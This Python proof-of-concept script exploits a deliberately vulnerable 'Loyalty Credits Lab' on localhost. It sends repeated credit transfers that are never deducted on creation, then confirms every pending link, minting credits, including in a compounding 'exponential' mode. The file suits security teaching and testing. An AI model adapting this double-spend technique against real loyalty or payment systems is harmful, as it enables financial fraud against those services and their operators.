#!/usr/bin/env python3 """ Loyalty Credits Lab - exploit PoC. Standard library only (no pip install needed). Write-up and explanation: https://blog.cain.tech Examples: python exploit.py # simple: 10x5 credits, sender -> receiver python exploit.py --direction r2s # simple: 10x5 credits, receiver -> sender python exploit.py --mode simple --count 500 --credits 50 python exploit.py --no-reset --credits 50 --count 500 python exploit.py --mode exponential --rounds 3 --fanout 10 python exploit.py --base http://localhost:8080 """ import argparse import json import sys import urllib.error import urllib.request # Fixed lab accounts (see README). SENDER = {"email": "sender@lab.local", "password": "Sender#2026"} RECEIVER = {"email": "receiver@lab.local", "password": "Receiver#2026"} class LabClient: def __init__(self, base): self.base = base.rstrip("/") self.api = self.base + "/api/loyalty/v1" def _request(self, method, url, token=None, client_key=None, body=None): data = json.dumps(body).encode() if body is not None else None req = urllib.request.Request(url, data=data, method=method) if body is not None: req.add_header("Content-Type", "application/json") if token: req.add_header("Authorization", "Bearer " + token) if client_key: req.add_header("X-Client-Key", client_key) try: with urllib.request.urlopen(req) as resp: raw = resp.read().decode() except urllib.error.HTTPError as exc: raw = exc.read().decode() except urllib.error.URLError as exc: sys.exit(f"[!] Cannot reach {url}: {exc.reason}. Is the lab running?") try: return json.loads(raw) except ValueError: return raw # HTML confirmation page # --- API wrappers ----------------------------------------------------- def login(self, creds): res = self._request("POST", self.api + "/auth/session", body=creds) if not isinstance(res, dict) or "access_token" not in res: sys.exit(f"[!] Login failed for {creds['email']}: {res}") return res["access_token"], res["client_key"] def balance(self, token): res = self._request("GET", self.api + "/wallet/me", token=token) return res.get("credit_balance") def transfer(self, token, client_key, recipient_email, credits): return self._request( "POST", self.api + "/wallet/transfer-credits", token=token, client_key=client_key, body={ "recipient_wallet_id": "", "recipient_email": recipient_email, "locale": "en", "recipient_card_ref": "", "credits": credits, }, ) def pending_confirm_urls(self, token): res = self._request("GET", self.api + "/inbox", token=token) return [m["confirm_url"] for m in res.get("messages", []) if m["state"] == "pending"] def confirm(self, confirm_url): # confirm_url is an absolute path under the same host. return self._request("GET", self.base + confirm_url) def state(self): return self._request("GET", self.api + "/lab/state") def reset(self): return self._request("POST", self.api + "/lab/reset") def print_state(client, label=""): st = client.state() accounts = ", ".join(f"{a['email']}={a['balance']}" for a in st["accounts"]) tag = f" [{label}]" if label else "" print(f" balances{tag}: {accounts} " f"(pending={st['pending_transfers']}, confirmed={st['confirmed_transfers']})") def run_simple(client, count, credits, direction, do_reset): source = SENDER if direction == "s2r" else RECEIVER dest = RECEIVER if direction == "s2r" else SENDER print(f"\n=== SIMPLE EXPLOIT: {count} transfers of {credits} credits, " f"{source['email']} -> {dest['email']} ===") if do_reset: client.reset() print_state(client, "initial (reset)") else: print_state(client, "current (no reset)") token, client_key = client.login(source) start = client.balance(token) print(f"[*] Logged in as {source['email']} (balance = {start}).") if credits > start: sys.exit(f"[!] Insufficient credits: want to send {credits} per transfer " f"but {source['email']} only has {start}. " f"Run the exploit without --no-reset first to accumulate credits.") print(f"[*] Firing {count} transfer requests of {credits} credits each " f"(balance is never deducted on creation)...") for _ in range(count): client.transfer(token, client_key, dest["email"], credits) print_state(client, "after creation") urls = client.pending_confirm_urls(token) print(f"[*] Confirming {len(urls)} pending confirmation links...") for url in urls: client.confirm(url) print_state(client, "after confirmation") st = client.state() beneficiary = next(a for a in st["accounts"] if a["email"] == dest["email"]) print(f"[+] Done. {dest['email']} now holds {beneficiary['balance']} credits " f"(minted {count * credits} from an account that held {start}).") def run_exponential(client, rounds, fanout, direction, do_reset): print(f"\n=== EXPONENTIAL EXPLOIT: {rounds} compounding rounds, " f"fanout x{fanout} per round ===") print(" Each round, the account with the credits sends its whole balance") print(f" {fanout} times to the other account, then confirms every link,") print(" multiplying the balance by ~%dx each round.\n" % fanout) if do_reset: client.reset() print_state(client, "initial (reset)") else: print_state(client, "current (no reset)") # (source, destination) alternate every round. source = SENDER if direction == "s2r" else RECEIVER dest = RECEIVER if direction == "s2r" else SENDER for r in range(1, rounds + 1): token, client_key = client.login(source) bal = client.balance(token) if bal <= 0: print(f"[!] {source['email']} has no credits to compound; stopping.") break print(f"\n[Round {r}] source={source['email']} balance={bal} " f"-> sending {bal} x{fanout} to {dest['email']}") for _ in range(fanout): client.transfer(token, client_key, dest["email"], bal) for url in client.pending_confirm_urls(token): client.confirm(url) print_state(client, f"round {r}") source, dest = dest, source # swap: the enriched account leads next round st = client.state() top = max(st["accounts"], key=lambda a: a["balance"]) print(f"\n[+] Done. Peak balance reached: {top['email']} = {top['balance']} credits " f"(started from 5).") def main(): parser = argparse.ArgumentParser(description="Loyalty Credits Lab exploit PoC") parser.add_argument("--base", default="http://localhost:8080", help="Lab base URL (default: http://localhost:8080)") parser.add_argument("--mode", choices=["simple", "exponential"], default="simple") parser.add_argument("--direction", choices=["s2r", "r2s"], default="s2r", help="Direction: s2r = sender->receiver, r2s = receiver->sender (default: s2r)") parser.add_argument("--count", type=int, default=10, help="[simple] number of transfer requests (default: 10)") parser.add_argument("--credits", type=int, default=5, help="[simple] credits per transfer (default: 5)") parser.add_argument("--rounds", type=int, default=3, help="[exponential] compounding rounds (default: 3)") parser.add_argument("--fanout", type=int, default=10, help="[exponential] repeats per round (default: 10)") parser.add_argument("--no-reset", action="store_true", help="Skip lab reset and use current balances") args = parser.parse_args() do_reset = not args.no_reset client = LabClient(args.base) if args.mode == "simple": run_simple(client, args.count, args.credits, args.direction, do_reset) else: run_exponential(client, args.rounds, args.fanout, args.direction, do_reset) if __name__ == "__main__": main()